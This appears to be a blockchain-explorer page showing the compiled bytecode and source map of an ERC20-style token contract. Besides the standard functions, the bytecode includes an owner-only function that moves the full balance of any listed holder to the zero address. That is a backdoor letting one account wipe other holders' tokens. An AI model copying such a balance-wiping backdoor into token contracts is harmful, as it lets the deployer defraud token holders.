0x608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806323b872dd1161006f57806323b872dd14610151578063313ce5671461018157806370a082311461019f57806395d89b41146101cf578063a9059cbb146101ed578063dd62ed3e1461021d576100a7565b806306fdde03146100ab578063095ea7b3146100c95780630d1ebf21146100f957806318160ddd1461011757806323481aa514610135575b5f80fd5b6100b361024d565b6040516100c09190610d06565b60405180910390f35b6100e360048036038101906100de9190610dc4565b6102dd565b6040516100f09190610e1c565b60405180910390f35b6101016102fa565b60405161010e9190610e44565b60405180910390f35b61011f61031f565b60405161012c9190610e6c565b60405180910390f35b61014f600480360381019061014a9190610fc5565b610328565b005b61016b6004803603810190610166919061100c565b610588565b6040516101789190610e1c565b60405180910390f35b61018961065c565b6040516101969190611077565b60405180910390f35b6101b960048036038101906101b49190611090565b610671565b6040516101c69190610e6c565b60405180910390f35b6101d76106b6565b6040516101e49190610d06565b60405180910390f35b61020760048036038101906102029190610dc4565b610746565b6040516102149190610e1c565b60405180910390f35b610237600480360381019061023291906110bb565b610763565b6040516102449190610e6c565b60405180910390f35b60606002805461025c90611126565b80601f016020809104026020016040519081016040528092919081815260200182805461028890611126565b80156102d35780601f106102aa576101008083540402835291602001916102d3565b820191905f5260205f20905b8154815290600101906020018083116102b657829003601f168201915b5050505050905090565b5f6102f06102e96107e5565b84846107ec565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600554905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906111a0565b60405180910390fd5b5f5b8151811015610584575f8282815181106103d6576103d56111be565b5b602002602001015190505f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506104a6816040518060400160405280600581526020017f4552524f520000000000000000000000000000000000000000000000000000008152505f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109af9092919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610535815f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a0390919063ffffffff16565b5f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505080806001019150506103b9565b5050565b5f610594848484610a18565b610651846105a06107e5565b61064c856040518060600160405280602881526020016114aa6028913960015f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106036107e5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109af9092919063ffffffff16565b6107ec565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600380546106c590611126565b80601f01602080910402602001604051908101604052809291908181526020018280546106f190611126565b801561073c5780601f106107135761010080835404028352916020019161073c565b820191905f5260205f20905b81548152906001019060200180831161071f57829003601f168201915b5050505050905090565b5f6107596107526107e5565b8484610a18565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361085a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108519061125b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf906112e9565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109a29190610e6c565b60405180910390a3505050565b5f8383111582906109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed9190610d06565b60405180910390fd5b5082840390509392505050565b5f8183610a109190611334565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d906113d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb90611465565b60405180910390fd5b610b5d81604051806060016040528060268152602001611484602691395f808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109af9092919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610bec815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a0390919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c899190610e6c565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610cd882610c96565b610ce28185610ca0565b9350610cf2818560208601610cb0565b610cfb81610cbe565b840191505092915050565b5f6020820190508181035f830152610d1e8184610cce565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d6082610d37565b9050919050565b610d7081610d56565b8114610d7a575f80fd5b50565b5f81359050610d8b81610d67565b92915050565b5f819050919050565b610da381610d91565b8114610dad575f80fd5b50565b5f81359050610dbe81610d9a565b92915050565b5f8060408385031215610dda57610dd9610d2f565b5b5f610de785828601610d7d565b9250506020610df885828601610db0565b9150509250929050565b5f8115159050919050565b610e1681610e02565b82525050565b5f602082019050610e2f5f830184610e0d565b92915050565b610e3e81610d56565b82525050565b5f602082019050610e575f830184610e35565b92915050565b610e6681610d91565b82525050565b5f602082019050610e7f5f830184610e5d565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610ebf82610cbe565b810181811067ffffffffffffffff82111715610ede57610edd610e89565b5b80604052505050565b5f610ef0610d26565b9050610efc8282610eb6565b919050565b5f67ffffffffffffffff821115610f1b57610f1a610e89565b5b602082029050602081019050919050565b5f80fd5b5f610f42610f3d84610f01565b610ee7565b90508083825260208201905060208402830185811115610f6557610f64610f2c565b5b835b81811015610f8e5780610f7a8882610d7d565b845260208401935050602081019050610f67565b5050509392505050565b5f82601f830112610fac57610fab610e85565b5b8135610fbc848260208601610f30565b91505092915050565b5f60208284031215610fda57610fd9610d2f565b5b5f82013567ffffffffffffffff811115610ff757610ff6610d33565b5b61100384828501610f98565b91505092915050565b5f805f6060848603121561102357611022610d2f565b5b5f61103086828701610d7d565b935050602061104186828701610d7d565b925050604061105286828701610db0565b9150509250925092565b5f60ff82169050919050565b6110718161105c565b82525050565b5f60208201905061108a5f830184611068565b92915050565b5f602082840312156110a5576110a4610d2f565b5b5f6110b284828501610d7d565b91505092915050565b5f80604083850312156110d1576110d0610d2f565b5b5f6110de85828601610d7d565b92505060206110ef85828601610d7d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061113d57607f821691505b6020821081036111505761114f6110f9565b5b50919050565b7f4e6f7420616c6c6f7765640000000000000000000000000000000000000000005f82015250565b5f61118a600b83610ca0565b915061119582611156565b602082019050919050565b5f6020820190508181035f8301526111b78161117e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611245602483610ca0565b9150611250826111eb565b604082019050919050565b5f6020820190508181035f83015261127281611239565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112d3602283610ca0565b91506112de82611279565b604082019050919050565b5f6020820190508181035f830152611300816112c7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61133e82610d91565b915061134983610d91565b925082820190508082111561136157611360611307565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6113c1602583610ca0565b91506113cc82611367565b604082019050919050565b5f6020820190508181035f8301526113ee816113b5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61144f602383610ca0565b915061145a826113f5565b604082019050919050565b5f6020820190508181035f83015261147c81611443565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013ab6aa7291b83d3d308522b7310fca68212d919dd3f11b9f16fcc5e0fbf334364736f6c634300081a0033
Deployed Bytecode Sourcemap
18150:3642:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18788:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19971:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18512:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19065:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21414:375;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;19483:321;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18974:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19173:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18879:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19300:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19812:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18788:83;18825:13;18858:5;18851:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18788:83;:::o;19971:169::-;20054:4;20071:39;20080:12;:10;:12::i;:::-;20094:7;20103:6;20071:8;:39::i;:::-;20128:4;20121:11;;19971:169;;;;:::o;18512:25::-;;;;;;;;;;;;;:::o;19065:100::-;19118:7;19145:12;;19138:19;;19065:100;:::o;21414:375::-;21361:9;;;;;;;;;;;21347:23;;:10;:23;;;21339:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;21492:9:::1;21487:295;21511:6;:13;21507:1;:17;21487:295;;;21546:15;21564:6;21571:1;21564:9;;;;;;;;:::i;:::-;;;;;;;;21546:27;;21588:14;21605:9:::0;:18:::1;21615:7;21605:18;;;;;;;;;;;;;;;;21588:35;;21659:39;21682:6;21659:39;;;;;;;;;;;;;;;;::::0;:9:::1;:18:::0;21669:7:::1;21659:18;;;;;;;;;;;;;;;;:22;;:39;;;;;:::i;:::-;21638:9;:18:::0;21648:7:::1;21638:18;;;;;;;;;;;;;;;:60;;;;21737:33;21763:6;21737:9;:21:::0;21755:1;21737:21:::1;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;21713:9;:21:::0;21731:1;21713:21:::1;;;;;;;;;;;;;;;:57;;;;21531:251;;21526:3;;;;;;;21487:295;;;;21414:375:::0;:::o;19483:321::-;19589:4;19606:36;19616:6;19624:9;19635:6;19606:9;:36::i;:::-;19653:121;19662:6;19670:12;:10;:12::i;:::-;19684:89;19722:6;19684:89;;;;;;;;;;;;;;;;;:11;:19;19696:6;19684:19;;;;;;;;;;;;;;;:33;19704:12;:10;:12::i;:::-;19684:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;19653:8;:121::i;:::-;19792:4;19785:11;;19483:321;;;;;:::o;18974:83::-;19015:5;19040:9;;;;;;;;;;;19033:16;;18974:83;:::o;19173:119::-;19239:7;19266:9;:18;19276:7;19266:18;;;;;;;;;;;;;;;;19259:25;;19173:119;;;:::o;18879:87::-;18918:13;18951:7;18944:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18879:87;:::o;19300:175::-;19386:4;19403:42;19413:12;:10;:12::i;:::-;19427:9;19438:6;19403:9;:42::i;:::-;19463:4;19456:11;;19300:175;;;;:::o;19812:151::-;19901:7;19928:11;:18;19940:5;19928:18;;;;;;;;;;;;;;;:27;19947:7;19928:27;;;;;;;;;;;;;;;;19921:34;;19812:151;;;;:::o;17146:98::-;17199:7;17226:10;17219:17;;17146:98;:::o;20470:344::-;20589:1;20572:19;;:5;:19;;;20564:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20670:1;20651:21;;:7;:21;;;20643:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20752:6;20722:11;:18;20734:5;20722:18;;;;;;;;;;;;;;;:27;20741:7;20722:27;;;;;;;;;;;;;;;:36;;;;20790:7;20774:32;;20783:5;20774:32;;;20799:6;20774:32;;;;;;:::i;:::-;;;;;;;;20470:344;;;:::o;14581:240::-;14701:7;14759:1;14754;:6;;14762:12;14746:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;14801:1;14797;:5;14790:12;;14581:240;;;;;:::o;12302:98::-;12360:7;12391:1;12387;:5;;;;:::i;:::-;12380:12;;12302:98;;;;:::o;20822:477::-;20946:1;20928:20;;:6;:20;;;20920:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;21030:1;21009:23;;:9;:23;;;21001:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;21103;21125:6;21103:71;;;;;;;;;;;;;;;;;:9;:17;21113:6;21103:17;;;;;;;;;;;;;;;;:21;;:71;;;;;:::i;:::-;21083:9;:17;21093:6;21083:17;;;;;;;;;;;;;;;:91;;;;21208:32;21233:6;21208:9;:20;21218:9;21208:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;21185:9;:20;21195:9;21185:20;;;;;;;;;;;;;;;:55;;;;21273:9;21256:35;;21265:6;21256:35;;;21284:6;21256:35;;;;;;:::i;:::-;;;;;;;;20822:477;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1242:75::-;1275:6;1308:2;1302:9;1292:19;;1242:75;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:118::-;3778:24;3796:5;3778:24;:::i;:::-;3773:3;3766:37;3691:118;;:::o;3815:222::-;3908:4;3946:2;3935:9;3931:18;3923:26;;3959:71;4027:1;4016:9;4012:17;4003:6;3959:71;:::i;:::-;3815:222;;;;:::o;4043:117::-;4152:1;4149;4142:12;4166:180;4214:77;4211:1;4204:88;4311:4;4308:1;4301:15;4335:4;4332:1;4325:15;4352:281;4435:27;4457:4;4435:27;:::i;:::-;4427:6;4423:40;4565:6;4553:10;4550:22;4529:18;4517:10;4514:34;4511:62;4508:88;;;4576:18;;:::i;:::-;4508:88;4616:10;4612:2;4605:22;4395:238;4352:281;;:::o;4639:129::-;4673:6;4700:20;;:::i;:::-;4690:30;;4729:33;4757:4;4749:6;4729:33;:::i;:::-;4639:129;;;:::o;4774:311::-;4851:4;4941:18;4933:6;4930:30;4927:56;;;4963:18;;:::i;:::-;4927:56;5013:4;5005:6;5001:17;4993:25;;5073:4;5067;5063:15;5055:23;;4774:311;;;:::o;5091:117::-;5200:1;5197;5190:12;5231:710;5327:5;5352:81;5368:64;5425:6;5368:64;:::i;:::-;5352:81;:::i;:::-;5343:90;;5453:5;5482:6;5475:5;5468:21;5516:4;5509:5;5505:16;5498:23;;5569:4;5561:6;5557:17;5549:6;5545:30;5598:3;5590:6;5587:15;5584:122;;;5617:79;;:::i;:::-;5584:122;5732:6;5715:220;5749:6;5744:3;5741:15;5715:220;;;5824:3;5853:37;5886:3;5874:10;5853:37;:::i;:::-;5848:3;5841:50;5920:4;5915:3;5911:14;5904:21;;5791:144;5775:4;5770:3;5766:14;5759:21;;5715:220;;;5719:21;5333:608;;5231:710;;;;;:::o;5964:370::-;6035:5;6084:3;6077:4;6069:6;6065:17;6061:27;6051:122;;6092:79;;:::i;:::-;6051:122;6209:6;6196:20;6234:94;6324:3;6316:6;6309:4;6301:6;6297:17;6234:94;:::i;:::-;6225:103;;6041:293;5964:370;;;;:::o;6340:539::-;6424:6;6473:2;6461:9;6452:7;6448:23;6444:32;6441:119;;;6479:79;;:::i;:::-;6441:119;6627:1;6616:9;6612:17;6599:31;6657:18;6649:6;6646:30;6643:117;;;6679:79;;:::i;:::-;6643:117;6784:78;6854:7;6845:6;6834:9;6830:22;6784:78;:::i;:::-;6774:88;;6570:302;6340:539;;;;:::o;6885:619::-;6962:6;6970;6978;7027:2;7015:9;7006:7;7002:23;6998:32;6995:119;;;7033:79;;:::i;:::-;6995:119;7153:1;7178:53;7223:7;7214:6;7203:9;7199:22;7178:53;:::i;:::-;7168:63;;7124:117;7280:2;7306:53;7351:7;7342:6;7331:9;7327:22;7306:53;:::i;:::-;7296:63;;7251:118;7408:2;7434:53;7479:7;7470:6;7459:9;7455:22;7434:53;:::i;:::-;7424:63;;7379:118;6885:619;;;;;:::o;7510:86::-;7545:7;7585:4;7578:5;7574:16;7563:27;;7510:86;;;:::o;7602:112::-;7685:22;7701:5;7685:22;:::i;:::-;7680:3;7673:35;7602:112;;:::o;7720:214::-;7809:4;7847:2;7836:9;7832:18;7824:26;;7860:67;7924:1;7913:9;7909:17;7900:6;7860:67;:::i;:::-;7720:214;;;;:::o;7940:329::-;7999:6;8048:2;8036:9;8027:7;8023:23;8019:32;8016:119;;;8054:79;;:::i;:::-;8016:119;8174:1;8199:53;8244:7;8235:6;8224:9;8220:22;8199:53;:::i;:::-;8189:63;;8145:117;7940:329;;;;:::o;8275:474::-;8343:6;8351;8400:2;8388:9;8379:7;8375:23;8371:32;8368:119;;;8406:79;;:::i;:::-;8368:119;8526:1;8551:53;8596:7;8587:6;8576:9;8572:22;8551:53;:::i;:::-;8541:63;;8497:117;8653:2;8679:53;8724:7;8715:6;8704:9;8700:22;8679:53;:::i;:::-;8669:63;;8624:118;8275:474;;;;;:::o;8755:180::-;8803:77;8800:1;8793:88;8900:4;8897:1;8890:15;8924:4;8921:1;8914:15;8941:320;8985:6;9022:1;9016:4;9012:12;9002:22;;9069:1;9063:4;9059:12;9090:18;9080:81;;9146:4;9138:6;9134:17;9124:27;;9080:81;9208:2;9200:6;9197:14;9177:18;9174:38;9171:84;;9227:18;;:::i;:::-;9171:84;8992:269;8941:320;;;:::o;9267:161::-;9407:13;9403:1;9395:6;9391:14;9384:37;9267:161;:::o;9434:366::-;9576:3;9597:67;9661:2;9656:3;9597:67;:::i;:::-;9590:74;;9673:93;9762:3;9673:93;:::i;:::-;9791:2;9786:3;9782:12;9775:19;;9434:366;;;:::o;9806:419::-;9972:4;10010:2;9999:9;9995:18;9987:26;;10059:9;10053:4;10049:20;10045:1;10034:9;10030:17;10023:47;10087:131;10213:4;10087:131;:::i;:::-;10079:139;;9806:419;;;:::o;10231:180::-;10279:77;10276:1;10269:88;10376:4;10373:1;10366:15;10400:4;10397:1;10390:15;10417:223;10557:34;10553:1;10545:6;10541:14;10534:58;10626:6;10621:2;10613:6;10609:15;10602:31;10417:223;:::o;10646:366::-;10788:3;10809:67;10873:2;10868:3;10809:67;:::i;:::-;10802:74;;10885:93;10974:3;10885:93;:::i;:::-;11003:2;10998:3;10994:12;10987:19;;10646:366;;;:::o;11018:419::-;11184:4;11222:2;11211:9;11207:18;11199:26;;11271:9;11265:4;11261:20;11257:1;11246:9;11242:17;11235:47;11299:131;11425:4;11299:131;:::i;:::-;11291:139;;11018:419;;;:::o;11443:221::-;11583:34;11579:1;11571:6;11567:14;11560:58;11652:4;11647:2;11639:6;11635:15;11628:29;11443:221;:::o;11670:366::-;11812:3;11833:67;11897:2;11892:3;11833:67;:::i;:::-;11826:74;;11909:93;11998:3;11909:93;:::i;:::-;12027:2;12022:3;12018:12;12011:19;;11670:366;;;:::o;12042:419::-;12208:4;12246:2;12235:9;12231:18;12223:26;;12295:9;12289:4;12285:20;12281:1;12270:9;12266:17;12259:47;12323:131;12449:4;12323:131;:::i;:::-;12315:139;;12042:419;;;:::o;12467:180::-;12515:77;12512:1;12505:88;12612:4;12609:1;12602:15;12636:4;12633:1;12626:15;12653:191;12693:3;12712:20;12730:1;12712:20;:::i;:::-;12707:25;;12746:20;12764:1;12746:20;:::i;:::-;12741:25;;12789:1;12786;12782:9;12775:16;;12810:3;12807:1;12804:10;12801:36;;;12817:18;;:::i;:::-;12801:36;12653:191;;;;:::o;12850:224::-;12990:34;12986:1;12978:6;12974:14;12967:58;13059:7;13054:2;13046:6;13042:15;13035:32;12850:224;:::o;13080:366::-;13222:3;13243:67;13307:2;13302:3;13243:67;:::i;:::-;13236:74;;13319:93;13408:3;13319:93;:::i;:::-;13437:2;13432:3;13428:12;13421:19;;13080:366;;;:::o;13452:419::-;13618:4;13656:2;13645:9;13641:18;13633:26;;13705:9;13699:4;13695:20;13691:1;13680:9;13676:17;13669:47;13733:131;13859:4;13733:131;:::i;:::-;13725:139;;13452:419;;;:::o;13877:222::-;14017:34;14013:1;14005:6;14001:14;13994:58;14086:5;14081:2;14073:6;14069:15;14062:30;13877:222;:::o;14105:366::-;14247:3;14268:67;14332:2;14327:3;14268:67;:::i;:::-;14261:74;;14344:93;14433:3;14344:93;:::i;:::-;14462:2;14457:3;14453:12;14446:19;;14105:366;;;:::o;14477:419::-;14643:4;14681:2;14670:9;14666:18;14658:26;;14730:9;14724:4;14720:20;14716:1;14705:9;14701:17;14694:47;14758:131;14884:4;14758:131;:::i;:::-;14750:139;;14477:419;;;:::o
Swarm Source
ipfs://13ab6aa7291b83d3d308522b7310fca68212d919dd3f11b9f16fcc5e0fbf3343
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.